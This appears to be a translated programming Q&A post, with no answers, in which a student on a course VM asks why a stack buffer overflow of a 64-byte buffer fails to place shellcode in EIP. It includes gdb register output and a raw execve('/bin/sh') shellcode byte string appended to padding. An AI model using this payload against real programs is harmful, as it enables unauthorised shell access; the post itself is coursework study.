为什么eip没有被我满溢的shellcode覆盖?

时间:2015-03-10 17:57:21

标签: c linux buffer-overflow shellcode eip

所以我不得不为一个作业做一个缓冲区溢出,我觉得我非常接近。我必须注意,我的老师已经为我们设置了一个VM,如果我们能够将shellcode放入堆栈的返回地址,它将在堆栈中执行。我不需要循环回我的缓冲区或其中任何一个。我理解我想要覆盖并将我的shellcode放入的寄存器是eip。我从https://greyhat.gatech.edu/wiki/index.php?title=Stack_Buffer_Overflow

的信息中得到了这些信息

我已经想通了如果我用72个字符填充我的缓冲区s1[64],我可以得到一个seg错误:Program received signal SIGSEGV, Segmentation fault. 0x00000000 in ?? ()当我有gdb打印出我得到的寄存器的值时:

 ebx            0xb7fc8000       -1208188928
 esp            0xbffff600       0xbffff600
 ebp            0x0      0x0     
 esi            0x0      0
 edi            0x80484c0        134513856
 eip            0x0      0x0     <------ Clearly i've messed up eip

如果我用少一个字符填充我的缓冲区,也就是71,程序执行得非常好,所以我觉得72必须以某种方式成为一个神奇的数字。所以我尝试用{72}填充字符填充s1,后跟我的shellcode。这次我得到了一个不同的段错误:

Program received signal SIGSEGV, Segmentation fault. 0x080486f5 in main () at badcopyTester2.c:61并且gdb显示eip填充了0x080486f5为什么/ eip如何获得此值?那不是我的shellcode吗?此外,无论我在72个填充字符的末尾添加了什么,eip总是填充相同的0x080486f5。两者的输入 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68给出完全相同的段错误。

再一次,我觉得我非常接近,因为我发现如何清除eip但是我已经过去了。谢谢你的帮助!

0 个答案:

没有答案